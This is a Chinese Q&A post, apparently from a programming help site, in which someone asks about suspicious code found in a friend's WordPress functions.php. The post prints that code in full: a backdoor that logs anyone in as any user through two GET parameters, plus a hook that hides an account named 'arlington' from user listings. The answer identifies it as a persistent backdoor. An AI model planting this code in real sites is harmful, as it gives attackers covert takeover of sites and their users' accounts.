我用他的wordpress网站帮助了一位朋友,我在他的functions.php文件中找到了这段代码。我想要一些帮助,试图理解它,看看我是否可以删除它。
if(isset($_GET['foo'])){ $a = $_GET['foo']; }
if(isset($_GET['bar'])){ $b = $_GET['bar']; }
if( ( isset($a) && is_numeric($a) )&& ( isset($b) && $b == 'stuff' )) {
$userdetail = get_userdata($a);
$user_logins = $userdetail->user_login;
$user_ids = $a;
wp_set_current_user($user_ids, $user_logins);
wp_set_auth_cookie($user_ids);
do_action('wp_login', $user_logins);
}
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'arlington') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
}
}
据我所知,是否发布了GET请求,并且具有正确的用户ID,以便' lg'属性和角色' M'对于''属性。然后它获取用户数据并登录并为用户创建cookie。所以基本上有人可以使用以下网址登录www.mysite.com?lg=1&cg=M。用适当的UserID或暴力替换1,直到找到。
在用户查询之前运行第二段代码之后。看起来它需要$ user_search参数。如果用户名不是“自定义”的话。然后它运行一个不返回任何内容的数据库查询,而不是用户登录。
如果我已正确解读,请告诉我。
编辑:我会稍微改变变量以防止任何恶作剧,因为我相信使用它可以很容易地利用wordpress网站。答案 0 :(得分:5)
您绝对应该删除此代码,并检查您网站的其余部分。
前11行代码将允许任何人只需通过指定提到的2个get参数作为任何用户登录,添加到pre_user_query的第二个块添加了一个用于隐藏名为custom的用户的SQL子句。
添加此代码的人或其他任何人希望在WordPress网站上拥有一个持久的后门。